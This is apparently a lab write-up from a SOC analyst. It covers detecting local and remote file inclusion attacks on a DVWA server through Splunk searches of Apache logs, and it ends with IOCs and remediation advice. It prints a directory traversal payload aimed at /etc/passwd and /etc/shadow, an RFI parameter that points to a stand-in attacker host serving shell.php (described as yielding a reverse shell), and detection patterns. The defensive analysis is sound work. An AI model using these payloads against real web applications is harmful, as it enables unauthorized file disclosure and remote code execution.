

Splunk SIEM – File Inclusion Attack Detection & Investigation

1. Summary

This investigation demonstrates the detection and analysis of **File Inclusion vulnerabilities** in a DVWA web application using **Splunk Enterprise**.

Controlled attacks were generated from a Kali Linux system against a DVWA application hosted on an Ubuntu Apache server. The testing included **Local File Inclusion (LFI)** attempts targeting sensitive system files and a **Remote File Inclusion (RFI)** attempt involving a PHP file hosted by the attacker system.

Apache access logs were ingested into Splunk and analyzed using **Search Processing Language (SPL)** to identify malicious requests, source IP addresses, timestamps, requested URIs, HTTP methods, status codes, and response sizes.

The investigation identified:

- A successful LFI attempt targeting `/etc/passwd`.
- An attempted but unsuccessful LFI request targeting `/etc/shadow` due to file permissions.
- An RFI attempt referencing `shell.php`, which resulted in server-side PHP execution and a reverse shell in the controlled lab environment.

The investigation demonstrates a SOC-style workflow involving **log collection, detection, attack validation, evidence analysis, incident classification, IOC identification, containment, and remediation recommendations**.

2. Local File Inclusion (LFI) Test

The normal DVWA File Inclusion functionality was accessed using:

`/DVWA/vulnerabilities/fi/?page=file1.php`

A directory traversal payload was supplied through the page parameter to attempt access to the Linux password file.

Payload Pattern

`page=../../../../../../etc/passwd`

The corresponding request targeted: `/etc/passwd`

The purpose of the test was to determine whether the application could be manipulated into reading files outside the intended web application directory.

3. LFI Investigation in Splunk

Apache access logs were searched in Splunk using:

`index=main source="/var/log/apache2/access.log" "/DVWA/vulnerabilities/fi/"`

This search was used to identify requests associated with the DVWA File Inclusion endpoint.

The investigation then examined:

- Source IP
- Timestamp
- HTTP method
- Requested URI
- HTTP status code
- Response size
- Request parameters

These fields provided the evidence required to determine whether the malicious request was merely attempted or resulted in successful file disclosure.

4. Successful LFI Analysis

The request containing the directory traversal sequence: ../../../../etc/passwd returned: HTTP 200 OK

The response size increased from approximately: 1814 bytes → 2596 bytes

Evidence

The following indicators supported the assessment that the LFI request was successful:

- Directory traversal sequence was present in the URI.
- The request specifically targeted /etc/passwd.
- The server returned HTTP 200 OK.
- The response size increased significantly compared with the baseline request.
- The application returned content consistent with successful file inclusion.

Verdict: Likely Successful LFI

The evidence indicates that the application successfully processed the malicious path and exposed the contents of the targeted local file.

5. LFI Attempt Against /etc/shadow

A second LFI request targeted: /etc/shadow

The request returned: HTTP 200 OK

However, the application response contained a permission error rather than the contents of /etc/shadow.

Verdict: Attempted LFI – Unsuccessful

The request demonstrates a valid directory traversal attempt, but the web-server process did not have sufficient permissions to read the targeted file.

This distinction is important during SOC investigations because an HTTP 200 response does not necessarily mean that the malicious operation succeeded.

6. Remote File Inclusion (RFI) Investigation

A Remote File Inclusion request was also generated by supplying an attacker-controlled URL through the page parameter.

The parameter referenced:

http://<ATTACKER_IP>:8000/shell.php

The purpose was to determine whether the vulnerable application could retrieve and execute a remotely hosted PHP file.

In the controlled lab environment, the PHP file was successfully processed by the vulnerable application and resulted in a reverse shell connection to the attacker system.

Verdict: Successful RFI / Remote Code Execution in the Controlled Lab

This demonstrates the potential impact of a File Inclusion vulnerability when remote PHP execution is permitted by the application configuration.

7. Detection Logic

The initial Splunk search identified activity against the vulnerable File Inclusion endpoint:

```
index=main source="/var/log/apache2/access.log" "/DVWA/vulnerabilities/fi/"
```

For a production SOC environment, detection logic could be extended to identify common directory traversal patterns and sensitive file access.

Example Detection Concepts

Directory Traversal

```
"../"
```

Sensitive Linux Files

```
"/etc/passwd"
```

```
"/etc/shadow"
```

Potential PHP Inclusion

```
".php"
```

These conditions can be combined with URI and parameter analysis to reduce false positives.

8. Indicators of Compromise

The investigation identified the following indicators:

URI / Payload Indicators

- Directory traversal sequences such as `../../../../../../`
- Requests targeting `/etc/passwd`
- Requests targeting `/etc/shadow`
- page parameter referencing an external PHP resource
- References to `shell.php`

Network Indicators

- Attacker source IP
- Attacker-hosted HTTP service
- Repeated requests against the DVWA File Inclusion endpoint

HTTP Indicators

- HTTP 200 responses associated with malicious requests
- Increased response size for the successful `/etc/passwd` request
- Repeated requests to the File Inclusion endpoint

9. Immediate Response and Containment

If this activity were observed against a production system, recommended immediate actions would include:

1. Identify the source IP and investigate associated activity.
2. Restrict or block the malicious source where appropriate.
3. Restrict access to the vulnerable application if active exploitation is suspected.
4. Preserve Apache access and error logs for forensic investigation.
5. Investigate for post-exploitation activity.
6. Check for unauthorized files, processes, network connections, and persistence mechanisms.
7. Review authentication and system logs for additional attacker activity.
8. Escalate to the appropriate L2/incident response team according to organizational procedures.

10. Remediation Recommendations

Application-Level Controls

- Validate and sanitize the page parameter.
- Replace dynamic file inclusion with an **allowlist of approved pages**.
- Prevent user-controlled input from directly determining filesystem paths.
- Disable remote file inclusion where it is not required.
- Prevent execution of unauthorized PHP files.
- Apply secure application configuration and input validation.

Server-Level Controls

- Apply least-privilege permissions to the web-server account.
- Review PHP and web-server configuration.
- Remove unnecessary or unauthorized PHP files.
- Restrict outbound network access from the web server where appropriate.
- Keep Apache, PHP, the operating system, and the application patched.

SIEM Monitoring

Splunk detections can be developed for:

- Directory traversal sequences.
- Requests for sensitive files such as /etc/passwd and /etc/shadow.
- Suspicious page parameters.
- External URLs supplied to file-inclusion parameters.
- Requests referencing unexpected .php files.
- Repeated requests against File Inclusion endpoints.
- Abnormal HTTP response sizes.
- Web-server activity followed by unusual outbound connections.

11. Skills Demonstrated

- Splunk Enterprise
- SPL
- SIEM Monitoring
- Apache Log Analysis
- Web Application Security
- Local File Inclusion (LFI)
- Remote File Inclusion (RFI)
- Directory Traversal Analysis
- HTTP Log Investigation
- IOC Identification
- Incident Response Fundamentals
- Technical Documentation